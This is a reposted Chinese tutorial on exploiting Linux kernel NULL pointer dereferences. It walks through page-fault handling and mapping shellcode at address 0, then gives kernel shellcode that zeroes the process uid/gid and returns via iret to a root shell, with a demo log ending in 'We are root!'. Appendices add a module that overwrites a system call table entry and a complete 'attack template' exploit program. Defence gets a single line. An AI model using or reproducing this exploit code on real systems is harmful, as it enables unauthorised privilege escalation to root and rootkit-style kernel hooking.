• [轉]Exploit The Linux Kernel NULL Pointer Dereference


                            Exploit The Linux Kernel NULL Pointer Dereference            


    Author: wzt
    Home: http://hi.baidu.com/wzt85
    date: 2010/06/13
    Version: 0.3

    目录:
    1、引言
    2、NULL Pointer是如何引发OOPS的
    3、如何Exploit
    4、攻击实验
    5、NULL Pointer与Selinux的关系
    6、如何防御NULL Pointer漏洞
    7、附录

    1、引言
    在最近一系列的Linux kernel本地溢出漏洞中, 大部分是由于内核引用一个空指针而引发的, 看NULL Pointers的一个示例:
    当内核代码引用一个空指针的时候, 内核打印如下OOPS信息, 并死机:

    Kernel NULL pointer dereference test.
    BUG: unable to handle kernel NULL pointer dereference at virtual address 00000000
    printing eip:
    00000000
    *pde = 00000000
    Oops: 0000 [#5]
    SMP 
    Modules linked in: sys autofs4 ip_conntrack_netbios_ns ipt_REJECT xt_state ip_conntrack nfnetlink xt_tcpudp iptable_filter ip_tables x_tables dm_multipath video sbs i2c_ec button battery asus_acpi ac lp floppy i2c_piix4 i2c_core pcspkr parport_pc parport pcnet32 serio_raw mii ide_cd cdrom dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mbcache
    CPU:    1
    EIP:    0060:[<00000000>]    Not tainted VLI
    EFLAGS: 00010286   (2.6.18 #34) 
    EIP is at _stext+0x3efffd6c/0x3c
    eax: 00000029   ebx: f20c85c0   ecx: 00000046   edx: 00000000
    esi: 004b5ca0   edi: f20c85c3   ebp: f1afd000   esp: f1afdf9c
    ds: 007b   es: 007b   ss: 0068
    Process test (pid: 3542, ti=f1afd000 task=dfc3ed70 task.ti=f1afd000)
    Stack: f8a81197 f8a8131d f8a81315 00000002 f20c85c0 bfbedc2e bfbedc30 c1003d10 
    bfbedc2e 00000001 bfbedc2e 004b5ca0 bfbedc30 bfbebe38 ffffffda 0000007b 
    c100007b 0000003b 08048454 00000073 00000286 bfbebe24 0000007b 00000000 
    Call Trace:
    [<f8a81197>] new_kernel_null_pointer_test+0x69/0x76 [sys]
    [<c1003d10>] syscall_call+0x7/0xb
    Code:  Bad EIP value.
    EIP: [<00000000>] _stext+0x3efffd6c/0x3c SS:ESP 0068:f1afdf9c

    2、NULL Pointer是如何引发OOPS的

    要想exploit这种bug, 就必须先要了解内核是如何处理空指针引用的。
    在程序的执行过程中,因为遇到某种障碍而使CPU无法最终访问到相应的物理内存单元,即无法完成从虚拟地址到物理地址映射的时候,
    CPU 会产生一次缺页异常,从而进行相应的缺页异常处理。 那么都在什么情况下会引发缺页异常呢,我们分别从用户空间和内核空间来看:

    用户空间:
    1、 进程访问本身地址空间
    ---> 访问一个无效的内存地址(如mmap后,又unmap的一块内存)。
    ---> 由于用户堆栈用完导致的越界访问(用户进程堆栈空间已被用完, 又有一次函数调用发生,这时push/pusha指令被写到进程的堆中。
    ---> 访问一个还未曾映射的空间。
    2、进程访问其他进程空间
    3、进程通过非系统调用方式访问内核空间。


    内核空间:
    1、中断程序,不可延迟程序,临界区代码访问用户空间(可能引起休眠)。
    2、内核线程访问访问用户空间。(内核线程不能访问用户空间)。
    3、内核访问用户空间(通过系统调用进入内核,有进程的上下文current)
    ---> 访问当前进程空间。内核写一个只读的内存。
    ---> 访问其他进程空间。通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。
    ---> 内核bug或硬件错误访问一个用户空间地址。 如空指针引用bug。
    4、访问内核空间。试图写一个没被映射的内核地址。

    引起缺页异常可以在用户空间和内核空间中触发, 当CPU捕获到这个异常的时候就会引发一次缺页异常中断。由do_page_fault()函数来
    判断和处理这些异常。 我们看下内核是怎么处理引用NULL pointer这个异常的:

    fastcall void __kprobes do_page_fault(struct pt_regs *regs,
    unsigned long error_code)
    {
    struct task_struct *tsk;
    struct mm_struct *mm;
    struct vm_area_struct * vma;
    unsigned long address;
    unsigned long page;
    int write, si_code;

    /* 先通过cr2寄存器得到引发异常的那个线性地址 */
    address = read_cr2();

    tsk = current;

    si_code = SEGV_MAPERR;

    /* 接着判断一下这个线性地址是不是发生于内核空间 */
    if (unlikely(address >= TASK_SIZE)) {
    /* 如果是内核引用了一内核空间中一处无效地址,则通过vmalloc_fault进行修复 */
    if (!(error_code & 0x0000000d) && vmalloc_fault(address) >= 0)
    return;
    if (notify_page_fault(DIE_PAGE_FAULT, "page fault", regs, error_code, 14,
    SIGSEGV) == NOTIFY_STOP)
    return;
    /* 如果不是继续跳转到bad_area_nosemaphore继续分析原因 */
    goto bad_area_nosemaphore;
    }

    /* 以下用于处理线性地址处于用户空间的情况, 注意内核和用户程序都有可能引用一个无效的用户地址 */
    if (regs->eflags & (X86_EFLAGS_IF|VM_MASK))
    local_irq_enable();

    mm = tsk->mm;

    /* 中断程序,不可延迟程序,临界区代码不能访问用户空间, 跳到bad_area_nosemaphore继续分析原因 */
    if (in_atomic() || !mm)
    goto bad_area_nosemaphore;

    if (!down_read_trylock(&mm->mmap_sem)) {
    /* 内核访问用户空间, 通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。*/
    if ((error_code & 4) == 0 &&
    !search_exception_tables(regs->eip))
    goto bad_area_nosemaphore;
    down_read(&mm->mmap_sem);
    }
    bad_area:
    up_read(&mm->mmap_sem);

    bad_area_nosemaphore:
    /* User mode accesses just cause a SIGSEGV */
    if (error_code & 4) {
    /* 如果是用户进程访问了其他进程的空间,就杀死当前进程 */
    if (is_prefetch(regs, address, error_code))
    return;

    tsk->thread.cr2 = address;
    /* Kernel addresses are always protection faults */
    tsk->thread.error_code = error_code | (address >= TASK_SIZE);
    tsk->thread.trap_no = 14;
    force_sig_info_fault(SIGSEGV, si_code, address, tsk);
    return;
    }

    /* 如果是由于内核自己访问了用户空间的无效地址,则就会引发OOPS, 
    if (oops_may_print()) {
    /* 如果这个地址小于PAGE_SIZE, 一般为4096字节,内核就认为这是一次空指针操作, 开始打印OOPS信息,杀死当前进程 */
    if (address < PAGE_SIZE)
    printk(KERN_ALERT "BUG: unable to handle kernel NULL "
    "pointer dereference");
    else
    printk(KERN_ALERT "BUG: unable to handle kernel paging"
    " request");
    printk(" at virtual address %08lx ",address);
    printk(KERN_ALERT " printing eip: ");
    printk("%08lx ", regs->eip);
    }
    page = read_cr3();
    page = ((unsigned long *) __va(page))[address >> 22];
    if (oops_may_print())
    printk(KERN_ALERT "*pde = %08lx ", page);

    force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk);
    }

    3、如何Exploit
    3-1、攻击原理。

    在前面我们知道了内核是如何处理一个NULL pointer引用的: eip停止在0x0处, 打印OOPS信息,然后死机。 我们也知道对于黑客来讲
    只有在普通权限下能触发的kernel null pointer漏洞才是有用的,可以帮助黑客有机会提升进程权限。OK, 既然发生OOPS的时候eip停留在
    内存0x0地址上, 那么用户进程只要能把shellcode放置在内存0地址上,并且kernel可以去运行用户进程的shellcode而不崩溃,那么就达到了
    提权权限的目的。

    3-2、将代码映射到0地址内存。
    Linux系统提供了一个系统调用mmap, 可以通过建立匿名映射配合MAP_FIXED标志将用户空间代码映射到内存0地址。
    mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
    我们看看内核是怎么实现的:
    asmlinkage long sys_mmap2(unsigned long addr, unsigned long len,
    unsigned long prot, unsigned long flags,
    unsigned long fd, unsigned long pgoff)
    {
    int error = -EBADF;
    struct file *file = NULL;
    struct mm_struct *mm = current->mm;

    flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
    /* 注意到如果没设置MAP_ANONYMOUS属性, 就要根据fd来获得文件file指针, 攻击程序设置了MAP_ANONYMOUS,并把fd,offset都设为0
    来建立一次匿名映射 */
    if (!(flags & MAP_ANONYMOUS)) {
    file = fget(fd);
    if (!file)
    goto out;
    }

    down_write(&mm->mmap_sem);
    /* do_mmap_pgoff才是映射的主体 */
    error = do_mmap_pgoff(file, addr, len, prot, flags, pgoff);
    up_write(&mm->mmap_sem);

    if (file)
    fput(file);
    out:
    return error;
    }

    我们从此处只关心建立匿名映射的过程:
    unsigned long do_mmap_pgoff(struct file * file, unsigned long addr,
    unsigned long len, unsigned long prot,
    unsigned long flags, unsigned long pgoff)
    {
    ...
    /* 用来验证和找到一个可以映射参数addr的内存地址 */
    addr = get_unmapped_area_prot(file, addr, len, pgoff, flags, prot & PROT_EXEC);
    ...
    }

    get_unmapped_area_prot(struct file *file, unsigned long addr, unsigned long len,
    unsigned long pgoff, unsigned long flags, int exec)
    {
    ...
    /* 如果没设置MAP_FIXED选项,就要从进程地址1G以上的空间中选取一块未用内存进行映射 */
    if (!(flags & MAP_FIXED)) {
    unsigned long (*get_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);

    if (exec && current->mm->get_unmapped_exec_area)
    get_area = current->mm->get_unmapped_exec_area;
    else
    get_area = current->mm->get_unmapped_area;

    if (file && file->f_op && file->f_op->get_unmapped_area)
    get_area = file->f_op->get_unmapped_area;
    addr = get_area(file, addr, len, pgoff, flags);
    if (IS_ERR_VALUE(addr))
    return addr;
    }
    ...
    }
    所以通过以上对内核代码的分析,我们可以用MAP_ANONYMOUS和MAP_FIXED参数来把用户代码映射到0内存处。

    3-3、内核为什么可以运行用户空间映射来的代码

    0地址上的代码是由用户自己通过mmap映射的, 当用户进程去触发这个kernel bug的时候,是通过系统调用进入内核空间,内核通过进程上下文current
    代表进程继续执行, 当eip执行到了一个0x0地址时,它开始执行用户空间映射过来的代码, 由于有进程上下文,又是在内核态, 所以可以修改当前
    进程的任何信息包括内核其他代码。

    3-4、如何写shellcode
    我们最主要的目的是当内核引用一个NULL Pointer的时候去执行我们的shellcode,  此时是内核来执行shellcode, 所以shellcode可以修改当前
    进程current的uid, gid字段使其变为0, 从而使当前进程获得root权限,然后在系统调用完成返回用户空间的时候执行一个bash, 来获得可爱的#字符。
    在用mmap完成映射的时候,要将shellcode放置在内存0x0处:
    *(char *)0 = 'x90';
    *(char *)1 = 'xe9';
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

    即为:NOP+JMP+KERNEL_CODE。 *(unsigned long *)2为什么要设置为kernel_code - 6呢?
    jmp指令后面跟的是偏移地址, 为kernel_code减去jmp指令的下一条指令的地址。 由于是从0x0地址开始算偏移的nop, jmp本身各占一个字节,在加上
    偏移地址占用的4个字节, 1+1+4 = 6。
    kernel_code才是真正的shellcode, 我们的目的是修改current的uid,gid为0, 所以可以在获得current指针后,暴力搜索current结构,匹配
    用户进程的uid和gid,发现后将其改为0,即可。

    struct task_struct {
    ……
    /* process credentials */
    uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;
    ……
    }

    void kernel_code()
    {
    int i;
    uint *p = get_current(); // 获得当前进程的current指针。

    for (i = 0; i < 1024-13; i++) {
    /*  暴力搜索uid, euid,suid,fsuid, gid, egid, sgid,fsgid */
    if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && 
    p[7] == gid) {
    p[0] = p[1] = p[2] = p[3] = 0;
    p[4] = p[5] = p[6] = p[7] = 0;
    p = (uint *) ((char *)(p + 8) + sizeof(void *));
    p[0] = p[1] = p[2] = ~0;
    break;
    }
    p++;
    }
    // 重新更新堆栈中寄存器值。 替内核执行iret指令, 结束系统调用返回用户空间。
    exit_kernel();
    }

    // 获得当前内核的current指针, 跟内核的实现方式一样
    static inline __attribute__((always_inline)) void *get_current()
    {
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
    }

    // 当发生系统调用中断的时候, 还没进入系统调用服务历程的时候,CPU是自动把user cs, ip, cflags, user ess, xx压入内核堆栈, 
    当执行iret返回用户空间的时候将其pop出来, 使得用户程序得以继续运行。exit_kernel要做的就是修改当前堆栈,重新设置用户空间的
    cs值为用户空间的值, eip值为exit_code, 当内核回到用户空间的时候就会去执行exit_code, exit_code通常只要执行一个bash即可。
    static inline __attribute__((always_inline)) void exit_kernel()
    {
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
    "i" (USER_CS), "r" (exit_code)
    );
    }

    注意内核执行完exit_kernel()函数后, 当前进程就以从内核空间切回到用户空间了, 此时进程已经具备uid为0的权限,我们的exploit程序
    可以随意的调用c库中的任何函数了。
    void exit_code()
    {
    if (getuid() != 0) {
    fprintf(stderr, "failed ");
    exit(-1);
    }
    printf("[+] We are root! ");
    execl("/bin/sh", "sh", "-i", NULL);
    }


    4、实验
    在了解了攻击原理和怎样写shellcode后, 我们开始做实验,验证下我们的想法是不是对的。 这里我故意加载一个有NULL pointer引用的
    内核模块, 它给当前系统增加了一个系统调用, 然后我们的用户程序引用这个系统调用的时候, 就会发生一次OOPS:

    void (*test)(void) = NULL;

    asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
    {
    char *buff = NULL;
    char *p = NULL;

    buff = (char *)kmalloc(len + 1, GFP_KERNEL);
    if (!buff) {
    printk("kmalloc failed. ");
    return 0;
    }


    if (copy_from_user(buff, buf, len)) {
    printk("copy data from user failed. ");
    return 0;
    }
    buff[len + 1] = '';
    printk("%d: %s ", strlen(buff), buff);

    printk("Kernel NULL pointer dereference test. ");
    test();

    return 1;
    }

    先装入模块
    [root@localhost test]# insmod /root/exploit/module/sys.ko
    然后运行exploit程序:
    int main(void) {
    void *page;

    uid = getuid();
    gid = getgid();

    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

    if ((personality(0xffffffff)) != PER_SVR4) {
    if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
    perror("mmap");
    return -1;
    }
    } else {
    if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
    perror("mprotect");
    return -1;
    }
    }
    printf("[+] Mmap zero memory ok. ");

    *(char *)0 = 'x90';
    *(char *)1 = 'xe9';
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

    new_kernel_null_pointer_test("abcd", 4);
    }
    [wzt@localhost ~]$./exp
    [+] Mmap zero memory ok.
    [+] We are root!
    sh-3.2# 
    看到可爱的#号了吧, 我们成功了!

    5、NULL Pointer与Selinux的关系
    略过

    6、如何防御Kernel NULL Pointer 0day攻击
    /proc/sys/vm/mmap_min_addr设置为大于4096的值或者关闭selinux.

    7. 附录
    7-1. hook examle
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/version.h>
    #include <linux/kernel.h>
    #include <linux/spinlock.h>
    #include <linux/smp_lock.h>
    #include <linux/fs.h>
    #include <linux/file.h>
    #include <linux/dirent.h>
    #include <linux/string.h>
    #include <linux/unistd.h>
    #include <linux/socket.h>
    #include <linux/net.h>
    #include <linux/tty.h>
    #include <linux/tty_driver.h>
    #include <net/sock.h>
    #include <asm/uaccess.h>
    #include <asm/unistd.h>
    #include <asm/siginfo.h>

    #include "hook.h"

    unsigned int system_call_addr = 0;
    unsigned int sys_call_table_addr = 0;
    spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

    asmlinkage int (*orig_printk)(const char *fmt, ...);
    void (*test)(void) = NULL;

    unsigned int get_sct_addr(void)
    {
    int i = 0, ret = 0;

    for (; i < 500; i++) {
    if ((*(unsigned char*)(system_call_addr + i) == 0xff)
    && (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
    && (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
    ret = *(unsigned int *)(system_call_addr + i + 3);
    break;
    }
    }

    return ret;
    }

    asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
    {
    char *buff = NULL;
    char *p = NULL;

    buff = (char *)kmalloc(len + 1, GFP_KERNEL);
    if (!buff) {
    printk("kmalloc failed. ");
    return 0;
    }


    if (copy_from_user(buff, buf, len)) {
    printk("copy data from user failed. ");
    return 0;
    }
    buff[len + 1] = '';
    printk("%d: %s ", strlen(buff), buff);

    printk("Kernel NULL pointer dereference test. ");
    test();

    return 1;
    }

    static int hook_init(void)
    {
    struct descriptor_idt *pIdt80;

    __asm__ volatile ("sidt %0": "=m" (idt48));

    pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

    system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
    if (!system_call_addr) {
    DbgPrint("oh, shit! can't find system_call address. ");
    return 0;
    }
    DbgPrint(KERN_ALERT "system_call addr : 0x%8x ",system_call_addr);

    sys_call_table_addr = get_sct_addr();
    if (!sys_call_table_addr) {
    DbgPrint("oh, shit! can't find sys_call_table address. ");
    return 0;
    }
    DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x ",sys_call_table_addr);

    sys_call_table = (void **)sys_call_table_addr;

    lock_kernel();
    CLEAR_CR0
    sys_call_table[59] = new_kernel_null_pointer_test;
    SET_CR0
    unlock_kernel();

    printk("install hook ok. ");
    }

    static void hook_exit(void)
    {
    lock_kernel();
    CLEAR_CR0

    SET_CR0
    unlock_kernel();

    DbgPrint("uninstall hook ok. ");
    }

    module_init(hook_init);
    module_exit(hook_exit);

    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("wzt");

    7-2. kernel null pointer攻击模板。
    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/user.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <inttypes.h>
    #include <sys/reg.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    #include <sys/personality.h>
    #include "syscalls.h"

    static unsigned int uid, gid;

    #define USER_CS 0x73
    #define USER_SS 0x7b
    #define USER_FL 0x246
    #define STACK(x) (x + sizeof(x) - 40)

    void exit_code();
    char exit_stack[1024 * 1024];

    int (*kernel_printk)(const char *fmt, ...);

    #define __NR_new_kernel_null_pointer_test       59

    static inline my_syscall2(long, new_kernel_null_pointer_test, char *, buff, int, len);
    int errno;

    static inline __attribute__((always_inline)) void *get_current()
    {
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
    }

    static inline __attribute__((always_inline)) void exit_kernel()
    {
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
    "i" (USER_CS), "r" (exit_code)
    );
    }

    void kernel_code()
    {
    int i;
    uint *p = get_current();

    for (i = 0; i < 1024-13; i++) {
    if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
    p[0] = p[1] = p[2] = p[3] = 0;
    p[4] = p[5] = p[6] = p[7] = 0;
    p = (uint *) ((char *)(p + 8) + sizeof(void *));
    p[0] = p[1] = p[2] = ~0;
    break;
    }
    p++;
    }

    exit_kernel();
    }

    void exit_code()
    {
    if (getuid() != 0) {
    fprintf(stderr, "failed ");
    exit(-1);
    }
    printf("[+] We are root! ");
    execl("/bin/sh", "sh", "-i", NULL);
    }

    void test_code(void)
    {
    kernel_printk = 0xc0424ae3;

    kernel_printk("We are in kernel. ");
    }

    int main(void) {
    void *page;

    uid = getuid();
    gid = getgid();

    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

    if ((personality(0xffffffff)) != PER_SVR4) {
    if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
    perror("mmap");
    return -1;
    }
    } else {
    //if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
    if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE ) < 0) {
    perror("mprotect");
    return -1;
    }
    }
    printf("[+] Mmap zero memory ok. ");

    *(char *)0 = 'x90';
    *(char *)1 = 'xe9';
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

    new_kernel_null_pointer_test("abcd", 4);
    }
  • 相关阅读:
    HTTP状态码
    NSData NSDate NSString NSArray NSDictionary 相互转换
    NSDictionary to jsonString || 对象转json格式
    git 上传本地文件到github
    NSAssert用法
    深入理解GCD(一)
    ug-Assertion failure in [MyClass layoutSublayersOfLayer:]
    构建之法阅读笔记01
    学习进度
    四则运算程序
  • 原文地址:https://www.cnblogs.com/bittorrent/p/3267482.html
Copyright © 2020-2023  润新知